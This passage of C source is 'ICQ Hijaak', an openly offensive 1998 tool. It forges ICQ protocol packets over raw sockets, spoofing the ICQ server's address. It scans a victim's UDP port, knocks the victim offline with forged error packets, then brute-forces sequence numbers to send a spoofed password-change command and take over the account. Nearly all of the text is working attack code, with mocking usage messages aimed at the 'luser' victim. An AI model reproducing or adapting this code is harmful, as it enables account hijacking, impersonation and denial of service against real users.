u32 keyvalue;
int count;
int length;
int i;
u8 ofs;
u8 val;
length = data_size + ICQ4_END;
memset( data_ptr, 0, ICQ4_END );
word(*data_ptr, ICQ4_VER ) = 0x4; word(*data_ptr, ICQ4_RANDOM) = any_number;
word(*data_ptr, ICQ4_COMMAND ) = command; word(*data_ptr, ICQ4_SEQ ) = icq_seq;
word(*data_ptr, ICQ4_SEQ2 ) = icq_seq2; dword(*data_ptr,ICQ4_UID ) = icq_uin;
dword(*data_ptr,ICQ4_CHECK) = 0x0;
check = ( *(data_ptr + 8) << 24) | ( *(data_ptr + 4) << 16 ) |
( *(data_ptr + 2) << 8 ) | ( *(data_ptr + 6) );
ofs = random() % length; val = *(data_ptr + ofs );
check2 = ( ofs << 24 ) | ( val << 16 );
ofs = random() % 256; val = icq_check_data[ ofs ];
check2 |= ( ofs << 8 ) | ( val ); check2 ^= 0x00FF00FF; check ^= check2;
dword(*data_ptr,ICQ4_CHECK ) = check;
keyvalue = length * 0x66756B65; keyvalue += check;
count = ( length + 3 ) / 4; count += 3; count /= 4;
for ( i = 0; i < count ; i++ ) {
u32 * r;
if ( i == 4 ) continue; r = (u32 *)(data_ptr + (i*4) );
*r ^= (keyvalue + icq_check_data[i*4] ); }
word(*data_ptr, ICQ4_VER ) = 0x4;
}
void create_icq3_header( u8 * data_ptr, int * size, u16 command,
u16 seq1, u16 seq2, u32 UIN )
{
int len, len2, err, ofs, val;
u32 check, check2;
err = WritePacket( data_ptr,&len, "WWWWL",
0x03, command, seq1, seq2, UIN );
if ( err == FAILURE ) {
printf("Programmer Error in create_icq3_header\n"); exit(-1); }
check = ( *(data_ptr + 8) << 24) | ( *(data_ptr + 4) << 16 ) |
( *(data_ptr + 2) << 8 ) | ( *(data_ptr + 6) );
ofs = random() % len; val = *(data_ptr + ofs );
check2 = ( ofs << 24 ) | ( val << 16 );
ofs = random() % 256;
val = icq_check_data[ ofs ];
check2 |= ( ofs << 8 ) | ( val );
check2 ^= 0x00FF00FF; check ^= check2;
err = WritePacket( (data_ptr + len),&len2,"L", check );
*size = len + len2; }
static u8 packet[ 1500 ];
void main( int argc, char ** argv );
void main( int argc, char ** argv )
{
int count;
int i;
u16 j, k;
struct in_addr * addr_list;
struct in_addr * target_list;
int err;
struct in_addr you;
struct in_addr me;
int rawsock;
struct sockaddr raddr;
struct sockaddr_in * r_in = (struct sockaddr_in *)&raddr;
int size;
u8 * data_ptr;
u8 * hdr_ptr;
int hdr_size;
u16 your_port;
int retries;
int base_port;
if ( argc < 5 ) {
fprintf(stderr,
"--=--==[ ICQ Hijaak ]=====------------------------==--------------\n"
"Author: wumpus@innocent.com * Copyright (c) 1998 Wolvesbane\n"
"Usage: \n"
" hijaak [options] icq-server target-uin target-ip new-password \n"
"\n"
"icq-server: Packets will be *spoofed* from the (possibly plural) \n"
" IP addresses of this parameter. \n"
"\n"
"target-uin: D'Oh! \n\n"
"target-ip: Finding this is up to you. May the farce be with you\n"
"\nnew-password: D'Oh! Take a guess \n"
"\nNo options are available at this time.\n" );
exit(-1);
}
base_port = 0;
if ( argc > 5 ) { base_port = atoi( argv[5] ); }
if (!base_port) base_port = 1024;
icq_uin = atol( argv[2] );
if ( !icq_uin ) {
fprintf(stderr, "Who do you want me to kill, boss? \n");
exit(-1); }
err = MultiResolve(argv[3],&count,&target_list);
if ( err == -1 ) { herror("Resolving target\n"); exit(-1); }
if ( count > 1 ) { fprintf(stderr,
"Hey! Moron! You need to specify an UNAMBIGUOUS victim IP. \n" );
exit(-1); }
you = target_list[0];
free( target_list );
err = MultiResolve(argv[1],&count,&addr_list);
if ( err == -1 ){ herror("Resolving ICQ server"); exit(-1); }
r_in->sin_port = htons( 1984 );
r_in->sin_family = AF_INET; r_in->sin_addr = you;
hdr_ptr = packet + IP_END + UDP_END;
rawsock = CreateRawSocket();
printf("** Scanning for luser's ICQ port ...\n");
your_port = base_port;
while ( 1 ) { err = UDPScan(you, your_port, 65535, &your_port );
if ( ( err == -1 ) || ( !your_port ) ) { fprintf(stderr,
"D'Oh! Can't find a target port. Better check that target IP again!\n");
exit(-1); }
if ( FAILURE == VerifyUDPPort( you, your_port ) ) {
fprintf(stderr,
"UDP scan found invalid port. Retrying... Hit CTRL-C to exit\n");
continue; }
break;
}
printf("*** Got luser's port at %d \n", your_port );
create_icq3_header(hdr_ptr, &hdr_size, RESPONSE_ERROR, 0,
0, icq_uin ); retries = 3;
while ( retries-- ) {
printf("Trying to knock luser offline. Attempt %d\n",
3 - retries );
for ( i = 0; i < count ; i++ ) {
int psize;
psize = IP_END + UDP_END + hdr_size;
make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,
addr_list[i], you, 0x7F );
make_udp_hdr( packet, psize - IP_END, 4000,your_port );
err = sendto( rawsock, packet, psize, 0,
&raddr, sizeof(raddr));
if ( err != psize ) { perror("Sending"); exit(-1); }
}
if ( FAILURE == VerifyUDPPort( you, your_port ) ) { break; }
sleep( 3 );
if ( FAILURE == VerifyUDPPort( you, your_port ) ) { break; }
sleep(3);
}
printf("Retries is %d \n", retries );
if ( 0 > retries ) { fprintf(stderr,
"Uh Oh! Something ain't working. Can't toast the luser. Sorry, dude.\n");
exit(-1); }
sleep(16);
printf("** Scanning for luser's _new_ ICQ port ...\n");
while ( 1 ) {
err = UDPScan(you, your_port, 65535, &your_port );
if ( ( err == -1 ) || ( !your_port ) ) { fprintf(stderr,
"D'Oh! Can't find the new port! Maybe your target is smarter than you?\n");
exit(-1); }
if ( FAILURE == VerifyUDPPort( you, your_port ) ) {
fprintf(stderr,
"New UDP scan found invalid port. Retrying... Hit CTRL-C to exit\n");
continue; } break; }
printf("*** Got luser's new connection at %d \n", your_port );
printf("*** Hijaaking account now...(*LONG* version)\n");
for ( k = 0; k < 14 ; k++ ) {
for ( j = 0; j < 14 ; j++ ) {
int psize;
icq_seq = k; icq_seq2 = j;
data_ptr = hdr_ptr + ICQ4_END;
WritePacket( data_ptr, &size, "S",argv[4] );
create_icq4_hdr(hdr_ptr, random()&0xFFFF,
COMMAND_CHANGEPASSWORD, size );
hdr_size = ICQ4_END;
for ( i = 0; i < count ; i++ ) {
psize = IP_END + UDP_END + hdr_size + size;
make_ip_hdr( packet, psize, IPPROTO_UDP,
0x666, 0, you, addr_list[i], 0x7F );
make_udp_hdr( packet, psize - IP_END,
your_port, 4000);
err = sendto( rawsock, packet, psize, 0,
&raddr, sizeof(raddr));
if ( err != psize ) { perror("Sending");
exit(-1); } usleep( 1000 );
err = sendto( rawsock, packet, psize, 0,
&raddr, sizeof(raddr));
if ( err != psize ) {
perror("Sending");
exit(-1);
} } } }
printf("Disconnecting the remote luser... \n");
create_icq3_header(hdr_ptr, &hdr_size, RESPONSE_ERROR, 0, 0, icq_uin );
for ( i = 0; i < count ; i++ ) {
int psize;
psize = IP_END + UDP_END + hdr_size;
make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,
addr_list[i], you, 0x7F );
make_udp_hdr( packet, psize - IP_END, 4000,your_port );
err = sendto( rawsock, packet, psize, 0,
&raddr, sizeof(raddr));
if ( err != psize ) { perror("Sending"); exit(-1); } }
free( addr_list );
}
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------Cacaio@DeathKnights.com
